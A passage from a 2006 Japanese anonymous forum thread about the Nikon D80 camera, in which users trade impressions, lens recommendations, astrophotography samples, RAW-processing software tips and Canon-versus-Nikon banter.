「画質革命」って、↓コレな。
 ttp://www.rakuten.co.jp/hitparade/539600/676138/

265 :名無CCDさん@画素いっぱい :2006/09/23(土) 00:48:16 ID:T8c7j4wp0
>>261
その画像は2003年11月24日 21時53分20秒にスキャニングされた画像だ。

D80とは100%関係の無い画像。

それ位、書き込む前に確認しましょうね。

266 :名無CCDさん@画素いっぱい:2006/09/23(土) 00:56:39 ID:W4Swtyvm0
>>265
どうみても、 ID:YnOWskj10 がガセネタの張本人だろ。

267 :名無CCDさん@画素いっぱい:2006/09/23(土) 01:11:26 ID:7rpV++qG0
>>265
ニコ爺にはギャグも通じないとは恐れ入るwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

268 :名無CCDさん@画素いっぱい:2006/09/23(土) 01:13:28 ID:bw8E9CSh0
恥の上塗り

269 :名無CCDさん@画素いっぱい :2006/09/23(土) 01:17:43 ID:T8c7j4wp0
>>267
D200スレでお腹がいっぱいになったのかな?


270 :名無CCDさん@画素いっぱい:2006/09/23(土) 01:18:28 ID:LkPi8uv60
コイズ追いかけるよ。
待っとけ!

271 :名無CCDさん@画素いっぱい:2006/09/23(土) 01:31:32 ID:MdqLq2kb0
画質革命!!

画質革命!!

画質革命!!

今すぐアクセス↓
http://www.digital.pentax.co.jp/ja/35mm/k10d/feature.html

272 :名無CCDさん@画素いっぱい:2006/09/23(土) 01:33:46 ID:r1FX3jK+0
はい

273 :名無CCDさん@画素いっぱい:2006/09/23(土) 01:58:43 ID:Pvyk8Ym80
参考テンプレ案
http://hobby7.2ch.net/test/read.cgi/dcamera/1156029127/916-922
かなりの部分で共通する。

Q5.D80で、今までのNikonCapture4は使えるの?
A5:EXIFをごく部分的に書き直せば開ける。
※書き換えたものをNCで編集してから保存するとNXやPPなどで正常に開けなくなるので
オリジナルは温存して直接書き換えないのが推奨。


274 :名無CCDさん@画素いっぱい:2006/09/23(土) 02:12:21 ID:YghL9lzH0
>>260
次のリリースからバッチ処理できる(はず)
でも考えたらNEFでの処理なのでデータ容量ががががが
しかもNEFかTiffに出力なので再度バッチ処理が必要・・・・スマン

275 :名無CCDさん@画素いっぱい:2006/09/23(土) 10:38:35 ID:aIk1s65J0
D1X D1H S2proから、D1XとS2proをD80にリプレイスすることを
今日このスレを頭から見て決心しやした(`・ω・´)シャキーン
(天の川の連続写真に圧倒された)

MFレンズの手持ちも多いんで、3台手放してD200に移行しようか
とも思ったけれど、メインで使っているボディモーター駆動レンズ
あるんで、D1Hは動きもの専門に特化。
そうやって役割分担をするんだったら、機動力、電池持ちを考慮
すればD80がもっとも適当だろう、と。

つーわけで、これからD80を買いに行って、そのまま泊まりがけ
の旅行に行ってきます。

276 :名無CCDさん@画素いっぱい:2006/09/23(土) 11:12:20 ID:LbMd/vWq0
さて、今から買いに行ってきまつ。

277 :名無CCDさん@画素いっぱい:2006/09/23(土) 11:18:30 ID:4EjqMVZN0
俺の分も買っといて。

278 :259:2006/09/23(土) 11:38:08 ID:wWSRl67p0
山は雲が流れて散々でした
まぁ失費写真だけど・・・
http://macking.mine.nu/dc-ita/summicron/Image/full/98.jpg


279 :名無CCDさん@画素いっぱい:2006/09/23(土) 12:32:54 ID:bYnQc35D0
ノイズか星かわかんないんんだけど・・

280 :名無CCDさん@画素いっぱい:2006/09/23(土) 12:42:08 ID:QKtG4+ny0
スターダスト(星屑)かもね。

281 :名無CCDさん@画素いっぱい:2006/09/23(土) 12:43:50 ID:wWSRl67p0
熱ノイズは消したから星なんだが、雲ばっかりでどうにもなんね

282 :名無CCDさん@画素いっぱい:2006/09/23(土) 12:54:00 ID:cZw7g7FU0
星すらもノイズと疑ってしまう世の中さ。

283 :名無CCDさん@画素いっぱい:2006/09/23(土) 13:07:27 ID:e4fmNrHE0
要は心の問題だね
ヒネクレルと何でも悪く見える

284 :名無CCDさん@画素いっぱい:2006/09/23(土) 13:41:08 ID:wYIWGTWP0
D50とD80両方所有してる方。
全く同じ条件で撮影してうpしてくれ。
違いを見たい。

285 :名無CCDさん@画素いっぱい:2006/09/23(土) 13:47:11 ID:TvZh4y4+0
めんどっちー。
てかそういうサンプルならレビューサイトに載ってない?

286 :名無CCDさん@画素いっぱい:2006/09/23(土) 14:37:24 ID:eZaYu+C40
D80コストパフォーマンス高杉。

287 :名無CCDさん@画素いっぱい:2006/09/23(土) 14:47:13 ID:lrM/dhnm0
>>278
乙です。天体写真はあれでさーね、、
長い距離走って目的地に着いても、条件が悪い場合はハゲシクがっくりだよね、、、
でも、D80の良いベンチマークにはなってんでね?
35mmF2でISO800、300秒ですか。その後はRAPなどの処理はしましたですか?
この辺詳しく書いてくれるとウレシス。それと元画像があるとウレシイです。

288 :名無CCDさん@画素いっぱい:2006/09/23(土) 15:12:30 ID:beuZQKgs0
D80もジウジアーロデザインなんでしょうか?
D200よりもひきしまった感じでかっこいい!

289 :名無CCDさん@画素いっぱい:2006/09/23(土) 15:21:58 ID:fi1vhyL40
>>284
どんなサンプルがいいの?
出来るだけご希望に添ったやつを撮ってみますので。

290 :名無CCDさん@画素いっぱい:2006/09/23(土) 15:25:03 ID:RVw+w/LX0
お昼にD80にVR70-200で撮って来ました。
やっぱこのレンズ凄いわ!めっちゃ写り良いんだなぁ!
画質だけで言えばVR18-200の出番は無くなるw
レンズがデカいけどD80にマッチしててシャッターフィーリング最高!
このレンズの性能を引き出すのがD80なのか!?

291 :名無CCDさん@画素いっぱい:2006/09/23(土) 15:37:00 ID:x1XzMZdHO
浮かれるのはわかるが、18-200と比べても仕方なかろう。EFの方がさらによいしな。

292 :名無CCDさん@画素いっぱい:2006/09/23(土) 15:42:35 ID:GpX/pkds0
EFはerror99出るからダメだよ。

293 :名無CCDさん@画素いっぱい:2006/09/23(土) 16:51:54 ID:2u5oS71MO
>>291
EFの方が良いところ言えよ。

294 :名無CCDさん@画素いっぱい:2006/09/23(土) 17:22:00 ID:syyWEMSc0
>>291
EF70-200/2.8のほうが優れている点

・VR70-200/2.8より市価で1〜2万円高い
・出荷時調整の個体差が大きくレンズの当り外れが楽しめる
・QCにキツく文句を言って調整に出せば、画質はVR70-200/2.8に迫る(かもしれない)

こんなとこか?

295 :名無CCDさん@画素いっぱい:2006/09/23(土) 17:35:22 ID:kzAd/ptX0
ニコンは早急に70-200mm/F4と300mm/F4VRを出してくれ

296 :名無CCDさん@画素いっぱい:2006/09/23(土) 18:07:15 ID:e4fmNrHE0
よしわかった

297 :名無CCDさん@画素いっぱい:2006/09/23(土) 18:08:50 ID:kzAd/ptX0
出たらCから乗り換えるからよろしく頼む!

298 :名無CCDさん@画素いっぱい:2006/09/23(土) 18:10:22 ID:LbMd/vWq0
買ってきた。薄暗い室内でもキレイに写るので感動。

299 :名無CCDさん@画素いっぱい:2006/09/23(土) 18:13:16 ID:wYIWGTWP0
>>289
お言葉に甘えて、屋内で平置きにした洋服を撮影したサンプルをお願い致します。
つまらない要望で申し訳ない。

300 :名無CCDさん@画素いっぱい:2006/09/23(土) 18:17:41 ID:JNI03QhA0
そんなの見て何を判断するんだ・・・。

301 :名無CCDさん@画素いっぱい:2006/09/23(土) 18:40:23 ID:wWSRl67p0
>>287
RAPでダーク引いてCaptureNXでトーンカーブとかいじって仕上げてますが、
ベンチマークにはなんないですよ、条件悪すぎますから

今夜撮れたらもっとまとも?なのうpします

302 :289:2006/09/23(土) 18:58:07 ID:fi1vhyL40
>>299
OK、室内なら後からでも撮れるからやってみます。
内蔵フラッシュは使うのかな?
また、どんな色合いの洋服がいいのかな?

それと、おれ普通のキットレンズとか持ってないんだけど・・・。
良かったらその辺も指示してください。

303 :ホワイト ◆KosbZRC5sc :2006/09/23(土) 19:02:13 ID:Cz6ggy1h0
D80の赤外カットフィルター強力すぎ
D70はスケスケでいい具合だったのに

304 :名無CCDさん@画素いっぱい:2006/09/23(土) 19:34:17 ID:7rpV++qG0
D80ってKDXに負けてるけどニコンとしてはまあまあじゃないのって感じだよね。

305 :名無CCDさん@画素いっぱい:2006/09/23(土) 19:36:27 ID:RG85W48r0
>>302
私もD50と80を比較してもらいたい。

昼間で晴れでも曇りでもいいので順光で
AEで撮ってほしい。
両方絞り優先ISO200 F/5.6 レンズ最広角でシャッタースピードはAEまかせ。
よろしくお願いします。

306 :名無CCDさん@画素いっぱい:2006/09/23(土) 19:55:23 ID:4+XefczD0
>304
具体的に、どの辺りが負けてるのでしょうか。

307 :名無CCDさん@画素いっぱい:2006/09/23(土) 19:57:05 ID:LvQYKfme0
このキヤノン工作員の必死さは何なんだ?w
KD×のスレに人が居ない程失敗作だったからな・・・

308 :名無CCDさん@画素いっぱい:2006/09/23(土) 20:00:05 ID:qvy/G6dk0
>>306
キヤノンの方が

頻繁に不具合の修理に出せる。
盛大なゴーストを楽しめる。
解像度が低く滑らかな描写を楽しめる。
フリーズや欠陥が突然発生しないか、常にドキドキ出来る。

309 :名無CCDさん@画素いっぱい:2006/09/23(土) 20:02:32 ID:e4fmNrHE0
7rpV++qG0は自分自身が職場で上司や同僚に言われていることをニコンに置き換えてウサを晴らしてるような気もするw

310 :名無CCDさん@画素いっぱい:2006/09/23(土) 20:24:33 ID:AKdbp4+n0
なんで釣りバレバレ相手にしてるの?

311 :名無CCDさん@画素いっぱい :2006/09/23(土) 20:29:39 ID:T8c7j4wp0
>>309
彼の一連の文章からして病んでいるねぇ・・・

早めに病院行けばいいのに彼のまわりの人達はそれを言い出せない。

312 :名無CCDさん@画素いっぱい:2006/09/23(土) 20:46:04 ID:8kv8O3uC0
>>290

自分も先日、D80+VR70-200を所有している知り合いに頼んで使用させてもらいました。
評判どおりのすばらしい写りに、一瞬「何とかしてこのレンズを入手したい」と思ってしまいましたが、
「自分にはまだまだ時期尚早・・・」とふと我に返り、何とか思いとどまることができました。
今の自分の力量からすれば、現在所有しているD80+VR18-200でも十分すぎるくらいです。

現実を悟った後は、このスレでみなさんがよく議論されている、自分にはちんぷんかんぷんの用語、
「中央部重点測光、オートブラケティング、D−ライティング・・・等々」の意味を少しずつでも理解するために、
D80のマニュアルを精読しています(一応用語の意味は理解できたものの、使いこなすとなると・・・・
本当に奥深いです)。
また、このスレの内容で参考になると思った箇所を印刷して、私的なマニュアルとして利用させて
いただいています。

コンパクトデジカメを使用していたときは、ただ「記録を残すために撮る」という感じでしたが、
D80を購入してからというもの、写真を撮ることが楽しくて仕方ありません。



313 :名無CCDさん@画素いっぱい:2006/09/23(土) 20:55:09 ID:sQBG2xHg0
>>312
とりあえず7万出して80-200の中古を買ってみるとか。
写りは70-200と変わらないよ

314 :名無CCDさん@画素いっぱい:2006/09/23(土) 20:59:58 ID:2u5oS71MO
>>312
カメラに限らず初めての分野には勉強や経験が必要だよw
撮ってて楽しいと感じてる気持ちが大事!
VR70-200なんて最高のレンズさ!でもカメラはセンスだよ。
『弘法筆を選ばず』で頑張りましょうw

315 :名無CCDさん@画素いっぱい:2006/09/23(土) 21:04:00 ID:cFzwmQJb0
80-200は最終的に手放す事になるから、
無駄な遠回りをするより一気に70-200VRへいったほうがいい。

316 :名無CCDさん@画素いっぱい:2006/09/23(土) 21:05:40 ID:bd5v3vmK0
「弘法筆を選ばず」とは、優れた腕を持つものは良い道具しか選ばないという事なんだよね。
良い道具を見極められる事も腕前のうち。

317 :名無CCDさん@画素いっぱい:2006/09/23(土) 21:08:38 ID:2u5oS71MO
もうはやVR70-200ススメちゃう?w
まぁカメラ好きは必ず買うレンズだけどもw

318 :名無CCDさん@画素いっぱい:2006/09/23(土) 21:11:46 ID:2u5oS71MO
>>316
マジでっか???
達人は何使ってもプロ並み!と解釈してた_| ̄|○
ハズカシイ…勉強になりました(・∀・)

319 :名無CCDさん@画素いっぱい:2006/09/23(土) 21:17:23 ID:2u5oS71MO
>>316
辞書で調べたらやっぱ自分が合ってたで( ゜д゜)

320 :名無CCDさん@画素いっぱい:2006/09/23(土) 21:31:17 ID:38qLcahs0
>>104>>255
すいません、落とせなくなってしまってました。
申し訳ないんですが、是非もう一度アップをお願いします…


321 :名無CCDさん@画素いっぱい:2006/09/23(土) 21:36:44 ID:o4peCtv90
確かに、レンズは所有本数減らしても良い奴のみを買うべきですなあ

322 :名無CCDさん@画素いっぱい:2006/09/23(土) 21:37:35 ID:IcpBDHPj0
>>318-319
例えばだよ、篠山紀信が道具を選ばず写ルンですで写真集を撮ってる姿を想像できるかい?
達人ほど道具を択び、選別し、腕前を存分に引き出せない劣った道具を択ぶ事は無い。

323 :名無CCDさん@画素いっぱい:2006/09/23(土) 21:38:09 ID:2j+b0U+A0
>>320
ドゾー パスとか同じです。

http://079.info/079_26543.avi.html

324 :名無CCDさん@画素いっぱい:2006/09/23(土) 21:41:18 ID:7rpV++qG0
>>322
ああ、だからプロはみんなキヤノンのカメラ使うんだね。

325 :名無CCDさん@画素いっぱい:2006/09/23(土) 21:43:59 ID:bd5v3vmK0
ちなみに紀信はキャノンなんか使わないよ。
コミケでレイヤーを大判で撮ってた。
あれがプロの道具だ。

326 :名無CCDさん@画素いっぱい:2006/09/23(土) 21:47:04 ID:yuN0shZN0
>>322
天才アラーキーなら写ルンです使ってそうだ。

327 :名無CCDさん@画素いっぱい:2006/09/23(土) 21:51:52 ID:a7pUJP510
アラーキーってああ見えて意外なくらいマニアックなカメラを使ってるんよ。

328 :名無CCDさん@画素いっぱい:2006/09/23(土) 21:51:59 ID:X8kZMW9a0
>>325

そんな…>>322>>324が連携まで考えて5円もらうために書き込んでるのに
一刀両断するなお

329 :名無CCDさん@画素いっぱい:2006/09/23(土) 21:52:28 ID:8kv8O3uC0
>>313-321

312です。

貴重なアドバイスと応援、ありがとうございます。

知り合いも、「金銭的に何とかなるのであれば、無理してでも良いレンズを買った方がよい」と
いうようなことを言っていました。
自分にとっては安い買物ではないので、もうしばらくは VR18-200で腕を磨きながら考えたいと思っています。

これからも、諸先輩方の写真に関するハイレベルな議論を楽しみにしておりますので、
よろしくお願いいたします。

(特に、D80の「白飛び」に関する議論がいろいろあって、「どうなるんだろう・・・」と思っていたら、 このスレの >>10
が結論に。このスレのみなさんはほんとにすごいと思いました。)

330 :名無CCDさん@画素いっぱい:2006/09/23(土) 21:54:08 ID:7rpV++qG0
>>325
1Ds2使ってるんだよアホ!

331 :名無CCDさん@画素いっぱい:2006/09/23(土) 22:00:11 ID:sQBG2xHg0
露出の件は確か前スレか前前スレで、D70と比較してどうとか補正幅2段とか面白いことになってたときに
みんな大人げなくマジレスしてたんだよな。

332 :名無CCDさん@画素いっぱい:2006/09/23(土) 22:00:21 ID:a7pUJP510
キャノンから依頼されれば1DsMK2くらい礼儀として使うだろ。
それがプロってもの。
でもプライベートでは大判ってのがニクイね。

333 :名無CCDさん@画素いっぱい:2006/09/23(土) 22:01:08 ID:bd5v3vmK0
ニコンもピクチャースタイルみたいので初心者誘導しないとあかんねんな。

334 :名無CCDさん@画素いっぱい:2006/09/23(土) 22:08:41 ID:2u5oS71MO
オレ露出補正ほとんどしないけどw

335 :名無CCDさん@画素いっぱい:2006/09/23(土) 22:19:34 ID:o/zW68Ou0
関西に住んでる。近所のジョーシン、ケーズにもデジカメコーナーあるけどダメすぎなんだな。
D80もKDXも未だに置いてないときたもんだ。(ちなみにキタムラの小店舗でさえ)

今日、ヨドバシ梅田に行って見てきたよ。金額差以上にD80に魅力を感じた。特にファインダーと質感。
K10Dが出るまで様子見だけど、D80に心が大きく傾いた1日でした。

336 :名無CCDさん@画素いっぱい:2006/09/23(土) 22:23:59 ID:2h5+sDqn0
>>61の話で結局やっぱ露出がおかしいって方向になってなかったか?

337 :名無CCDさん@画素いっぱい:2006/09/23(土) 22:28:15 ID:ubywblms0
優待販売でNX買ったんだけど、NC4と全然違うんで戸惑ってます。D80のRAW画像を
弄るのはこれしかないんで困ってます。

RAWから640×480のjpe画像にgに落とす時にNC4と基本的に同じですか?
なんか同じに弄ろうと思っても設定できないんですよ。

親切な方教えてください

338 :ホワイト ◆KosbZRC5sc :2006/09/23(土) 22:30:39 ID:Cz6ggy1h0
シルキーピクス使えば?

339 :名無CCDさん@画素いっぱい:2006/09/23(土) 22:32:04 ID:H4dFLFpa0
あ〜 小野真弓かぁ

340 :名無CCDさん@画素いっぱい:2006/09/23(土) 22:32:39 ID:H4dFLFpa0
誤爆した_| ̄|○

341 :名無CCDさん@画素いっぱい:2006/09/23(土) 22:37:19 ID:ubywblms0
>>338
もう新しいソフトは勘弁してください。NXのなかでお願いします。

342 :名無CCDさん@画素いっぱい:2006/09/23(土) 22:43:29 ID:eEcgjjdz0
>>337
WinのNC4.4.0と.2ならD80のNEFも現像できる。

>>338
VGA程度なら関係ないことだけど、カメラ内設定の反映や自動の色収差補正まで含めて同じじゃないでしょ。

343 :名無CCDさん@画素いっぱい:2006/09/23(土) 22:50:01 ID:flJonncW0
>>335
俺も関西だが住んでる市内にジョーシンとケーズがあるよw
ジョーシンは一眼はカメラは何と実物大の紙(というかパネル?)を展示してるw
レンズはウインドウの中でしかもそれもカメラと同じ。
ウインドウなら人が触ってなければ別に実物置いてもいいのに。



344 :名無CCDさん@画素いっぱい :2006/09/23(土) 22:50:07 ID:nIQZxk940
>>337
kakakuにExif情報のカメラ情報書き換えたらNC4で現像できたと
書いてあったよ。
Exif情報書き換えのフリーソフトの紹介もあった。
試してみれば?

345 :名無CCDさん@画素いっぱい:2006/09/23(土) 22:51:34 ID:eEcgjjdz0
>>337
これこれ つ http://kakaku.com/bbs/Main.asp?SortID=5404981&Reload=%8C%9F%8D%F5&SearchWord=modechan&LQ=modechan&ProductID=00501610998

346 :名無CCDさん@画素いっぱい :2006/09/23(土) 22:53:10 ID:nIQZxk940
それだ。

347 :名無CCDさん@画素いっぱい:2006/09/23(土) 22:58:48 ID:ubywblms0
疑って申し訳ありませんが、たいした写真じゃないんですが、もし不具合がでたらと考えてしまいます。御免なさい。

348 :名無CCDさん@画素いっぱい:2006/09/23(土) 23:09:12 ID:gEnW8P1L0
なら頑張って慣れるだけだな。

349 :名無CCDさん@画素いっぱい:2006/09/23(土) 23:09:16 ID:eEcgjjdz0
>>347
初めて使うソフトのばあいの定石通り、オリジナルは読み取り専用にして、リムーバブルにも
バックアップしておいてから、コピーをいじれば問題なし。

350 :名無CCDさん@画素いっぱい:2006/09/23(土) 23:11:07 ID:dGmh+dy20
海外なんでD80見れないんだけど、D70との質感の違いはたとえればどんな
もんですか?おながいします。

351 :ホワイト ◆KosbZRC5sc :2006/09/23(土) 23:12:09 ID:Cz6ggy1h0
いちいちEXIFを書き換えないと使えないなんて・・・
ニコンもNC4をD80に対応させりゃいいのに
NXを売るためにわざと対応させないんだろう?
NXみたいな糞ソフトはただでもつかわん

さっさとD80をNC4に対応させろ!
まぁ俺はシルキー買っちゃったからいらねけど

352 :ホワイト ◆KosbZRC5sc :2006/09/23(土) 23:14:00 ID:Cz6ggy1h0
>>350
ボディがちっちゃい(人によっては持ちにくい)
ファインダーがでかい
液晶がでかい
シャッター音とか、シャターの感触も微妙に違う
ボディの材質はどっちも似たようなものか

353 :名無CCDさん@画素いっぱい:2006/09/23(土) 23:14:58 ID:G0unbQo50
 今日,D80購入してきました。D70sからの買い換えです。
帰宅したのがつい先ほどなので,まだ室内で何枚かシャッターを切っただけですが,
いやー,期待以上でした。良い買い物したと思います。
 あとは,D70sを里子に出すかどうかを考えなくては(w

354 :名無CCDさん@画素いっぱい:2006/09/23(土) 23:15:31 ID:eSc/CSky0
D70、D80、D200と持ってて、D80だけNC4使えないのは本当に不便
マジでどうにかしてほしい

355 :名無CCDさん@画素いっぱい:2006/09/23(土) 23:15:44 ID:o/t0tt+H0
>>353
サブに置いておけ

356 :350:2006/09/23(土) 23:16:51 ID:dGmh+dy20
>>352
ありがとうございます。持った感じで、こう固まり感っていうか、ギシギシ言わない
ような感じなのかな?

357 :名無CCDさん@画素いっぱい:2006/09/23(土) 23:17:25 ID:2j+b0U+A0
>>353
とっとけ。マジで、、サブとして持っておく事ってエラク重要。
それに漏れはD70とD80両方持っているが、D70もそれなりの良さがある。

358 :名無CCDさん@画素いっぱい:2006/09/23(土) 23:19:00 ID:Md+mMbZR0
>351
俺もD80故にシルキー買った
PPは役立たずだし、NXは俺の環境では、起動すらしない



359 :ホワイト ◆KosbZRC5sc :2006/09/23(土) 23:19:04 ID:Cz6ggy1h0
>>356
ギシギシはいわないと思う。
固まり感は小さくなった分D70より↑かな
まぁ同クラスなんであんまり期待はしないほうがいい。

360 :356:2006/09/23(土) 23:25:21 ID:dGmh+dy20
>>359
どうもです。質感がいいっていう意見が多かったのでD70と比べてどのくらい違う
のかなあと思ってでした。写りはすごくいいですね。欲しいなあ。

361 :名無CCDさん@画素いっぱい:2006/09/23(土) 23:29:58 ID:nLFT8LYQO
正しくは
「弘法筆を選ばず」は一般的には、「達人はどんな道具でも良い結果を出す。」だが
研究者によると弘法大師は「道具は状況にあわせて使い分ける事が重要。」と言っているらしい。
つまり「どんな道具も状況にあわせて使いこなすのが一流。」

362 :名無CCDさん@画素いっぱい:2006/09/23(土) 23:51:15 ID:6yj68YVM0
大師、当たり前のこと言ってるだけやん。。。

金ヤンと変わらんwwwwwwww

363 :名無CCDさん@画素いっぱい:2006/09/23(土) 23:52:59 ID:eEcgjjdz0
>>362
常識が一つ身に付いたかね?

364 :名無CCDさん@画素いっぱい:2006/09/24(日) 01:01:08 ID:fV8bE8ZF0
明日から沖縄旅行なんだが、もっていくカメラをD200にするかD80にするかで悩んで眠れない。
レンズはVR18-200+短焦点2本、サブはGR-D。
どないしよう。

365 :名無CCDさん@画素いっぱい:2006/09/24(日) 01:03:48 ID:cKX7CJFQ0
>>364
D80にして旅行の間にD200をオークションに出しておく。

366 :名無CCDさん@画素いっぱい:2006/09/24(日) 01:07:51 ID:KE7n/4ac0
で、俺はそれを落札

367 :名無CCDさん@画素いっぱい:2006/09/24(日) 01:10:43 ID:eGJOsRCj0
>>364
好きにしろよボケ!

368 :名無CCDさん@画素いっぱい:2006/09/24(日) 01:24:26 ID:4KF0CuYo0
おい、画質革命が来るよ
どうするんだ?

369 :名無CCDさん@画素いっぱい :2006/09/24(日) 01:30:35 ID:b3hlSFFn0
今のところ革命失敗みたいなサンプルだからしばらく様子見だね。

370 :名無CCDさん@画素いっぱい:2006/09/24(日) 01:31:19 ID:yIxQHtYJ0
発売日 いつ?

371 :名無CCDさん@画素いっぱい:2006/09/24(日) 01:33:35 ID:N/FedfYn0
2006年9月1日発売

372 :名無CCDさん@画素いっぱい :2006/09/24(日) 01:44:37 ID:9JOp01lc0
>>350
D80触れない海外ってどこ?







                 平 ?        壌 ?

373 :名無CCDさん@画素いっぱい:2006/09/24(日) 01:59:03 ID:dNcAUqoi0
露出のファームアップが、もうすぐ出るのでは


374 :名無CCDさん@画素いっぱい:2006/09/24(日) 03:24:51 ID:8s4sjazE0
The in-depth review of Nikon D-80 has just posted!!


375 :名無CCDさん@画素いっぱい:2006/09/24(日) 03:25:39 ID:8s4sjazE0
Of course, on dpreview website!

376 :名無CCDさん@画素いっぱい:2006/09/24(日) 04:05:59 ID:6yfw3lcN0
thanks for the info!
Highly recomended!!

377 :名無CCDさん@画素いっぱい:2006/09/24(日) 05:04:58 ID:8s4sjazE0
You bet!

378 :名無CCDさん@画素いっぱい:2006/09/24(日) 06:05:38 ID:l/R+VYKZ0
オウイエー!
アイム あなるセクース全然オケー!
サンクス!

379 :名無CCDさん@画素いっぱい:2006/09/24(日) 08:03:38 ID:+ErbYG/V0
>>373
是非ともその時には連写の100枚リミッターも解除を、、、

380 :名無CCDさん@画素いっぱい:2006/09/24(日) 08:29:46 ID:0DYFnso40
EOSKISS 子供がKISSの真似してるのはわかるんだけど
うしろのゴジラいらなくない?
KISSとゴジラってなんかあるの?

381 :名無CCDさん@画素いっぱい:2006/09/24(日) 09:18:48 ID:G4tsjM2+0
スレちがい

382 :名無CCDさん@画素いっぱい:2006/09/24(日) 09:22:11 ID:8eD70S+EO
露出のファームアップはないと思われ。
昨日の撮影で補正なしで満足な結果が出たオレw
ファームするほどでもないな(・∀・)

383 :名無CCDさん@画素いっぱい:2006/09/24(日) 10:28:25 ID:A5N3nCGp0

D200がD80よりも優れているところって、

・MFレンズが使える
・連写5コマ/秒
・金属ボディ
・防塵防滴

これ以外に何があったっけ?


384 :名無CCDさん@画素いっぱい:2006/09/24(日) 10:38:30 ID:y5WQBswY0
>>382
IDがD70S(笑

+EO(ry・・


385 :名無CCDさん@画素いっぱい:2006/09/24(日) 10:39:06 ID:h5DVgdCsO
ファームする

386 :名無CCDさん@画素いっぱい:2006/09/24(日) 10:52:13 ID:ssZ+aiz7O
>>383
吊り金具
CF
軍艦部大型液晶

387 :名無CCDさん@画素いっぱい:2006/09/24(日) 11:16:56 ID:Zm+ECdw80
>>385

IDが持っててよかった5Dww


388 :名無CCDさん@画素いっぱい:2006/09/24(日) 11:20:43 ID:Zm+ECdw80
>>386

CFは優れてるかどうかはびみょーなんじゃね?


389 :名無CCDさん@画素いっぱい:2006/09/24(日) 11:22:31 ID:EWVxg3qk0
>>383
公称10万回耐久シャッター

390 :259:2006/09/24(日) 11:27:31 ID:qFLVVZ2e0
再度行って来た、、、昨夜はなかなか良かったよ
わし座付近
http://macking.mine.nu/dc-ita/summicron/Image/full/109.jpg

>>287
元画像
http://macking.mine.nu/dc-ita/summicron/Image/full/110.jpg

RAPでダーク減算
CaptureNXで
・トーンカーブ調整
・カラーバランス調整
・ノイズリダクション
・ヴィネットコントロール
・リサイズ後画質90でjpeg保存

あとはExif見ておくれ・・・・・・しかし眠いわ

391 :名無CCDさん@画素いっぱい:2006/09/24(日) 11:44:05 ID:J4luRcSF0
D80+VR18-200で堪能中(*>ω<*)☆

単焦点レンズもイイらしい(・ε・` )

AF-S VR MicroNikkor 105mm F2.8でしょ〜やっぱ(´∀`)

392 :名無CCDさん@画素いっぱい:2006/09/24(日) 11:54:10 ID:8eD70S+EO
ID:70sは笑えるw
にEOS買えとの事かw

おまいらプリントどうしてる?

393 :名無CCDさん@画素いっぱい:2006/09/24(日) 11:58:07 ID:ZfZ+NKoi0
D80+AF-S DX18-135で堪能中(*>ω<*)☆

なんだか訳わかめのNXで現像したから、あんましよくないかも。ごめん。

昔のマクロ 105mm F2.8で撮影した18-135でした。
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060924115258.jpg

394 :名無CCDさん@画素いっぱい:2006/09/24(日) 13:27:46 ID:pMVVINqf0
>>390
もつかれさん。なかなかですな。こりゃ

395 :名無CCDさん@画素いっぱい:2006/09/24(日) 14:22:19 ID:nanlklp60
>>380
あのCMはKISSが来日して浅草、京都と日本の観光名所を巡っているわけさ。
で、日本に来たからにはゴジラに会いたいと。
火吹きつながりつーのもあるし。
ジーンシモンズがステージで火を吹くのがお約束って知ってるか?

396 :名無CCDさん@画素いっぱい:2006/09/24(日) 14:55:35 ID:EpKDgmRh0
>>395 そんなの知らないよ。 KISSと言うのも聞いたことが有る位だから、知らない人も多いと思うよ。 そう言う人たちにとってあのCMは、なめてんのかとしか思えない。

397 :名無CCDさん@画素いっぱい:2006/09/24(日) 15:09:35 ID:cwTdbI5T0
KISS知ってるお父さんお母さん世代にってメッセージでしょ。
企画の世代もそうでしょうし。
いきなりモノホンのKISS持って来るとキツイよね、だから。

398 :名無CCDさん@画素いっぱい:2006/09/24(日) 15:11:56 ID:F0yItzrw0
>>383
水晶のところも、けんか品が使用されてるってちらっとどっかでよんだ。
品質の差はカメラ全体にあるかもね。
入門・中級だから当たり前か。。

399 :名無CCDさん@画素いっぱい:2006/09/24(日) 15:13:56 ID:uZBG3M/30
キヤノン工作員総出で隠蔽中w
http://kakaku.com/bbs/Main.asp?SortID=5471139

400 :名無CCDさん@画素いっぱい:2006/09/24(日) 15:15:32 ID:c6FBU2ao0
kiss世代なんてもう結構な歳だろう。
写真とって喜ぶほど子供も小さくないでしょ。
俺がkiss世代だけど子供は中学生。カメラ向けたら逃げるぞ。


401 :名無CCDさん@画素いっぱい:2006/09/24(日) 15:32:45 ID:qwxTDoSe0
>>389
公称10万回耐久シャッター

D80は5万回くらい?

「やっぱシャッターはダメだわ〜ニコン!」

なのかな。同じ値段のK10Dが10万回シャッターと聞くと
ニコンのひ弱そうなシャッターに泣けて来る・・・

402 :名無CCDさん@画素いっぱい:2006/09/24(日) 15:37:37 ID:Q2t6CFbI0
俺も泣けてD80買っちゃいました。w
やっぱいいわニコン!

403 :名無CCDさん@画素いっぱい:2006/09/24(日) 16:17:17 ID:EpKDgmRh0
>>398 けんか品使ったら負けるよね。

404 :名無CCDさん@画素いっぱい:2006/09/24(日) 16:19:22 ID:6yfw3lcN0
>>398
けんか品って何?

405 :名無CCDさん@画素いっぱい :2006/09/24(日) 16:25:22 ID:b3hlSFFn0
多分廉価品をボケて書いてるだけだろう。

406 :名無CCDさん@画素いっぱい:2006/09/24(日) 16:49:59 ID:VZwhjiMT0
近所のキタムラでゲト。
お決まりのVR18-200とのセットにした。
ヨドバシで触った感じでは18-135キットはなんかもったいない気がした。
SD1GBコミで19マソ。

いよいよガンデジデビューだよ。
FM3Aで撮ってたんで、使いこなせるか自信がないけど。

407 :名無CCDさん@画素いっぱい:2006/09/24(日) 17:31:12 ID:5nOc/wHh0
>>400
俺40歳だけど、KISS世代なんてもうちょい上な気が。
ジーンシモンズなんて、俺世代はほとんど知らない。俺は知ってるけどw
今の子育て世代はKISS見ても、聖飢魔Uしか連想しないだろ。
あのCMだけはKISS好きのクリエーターのオナニーの気がする。
キムタクもそうだが、広告費の無駄遣いにしか思えん。
今の子育て世代には、普通にJ-POPの方が訴求する気がする。

408 :名無CCDさん@画素いっぱい:2006/09/24(日) 17:39:43 ID:Sfi8CuDpO
KISSは男性ファンが多かった。
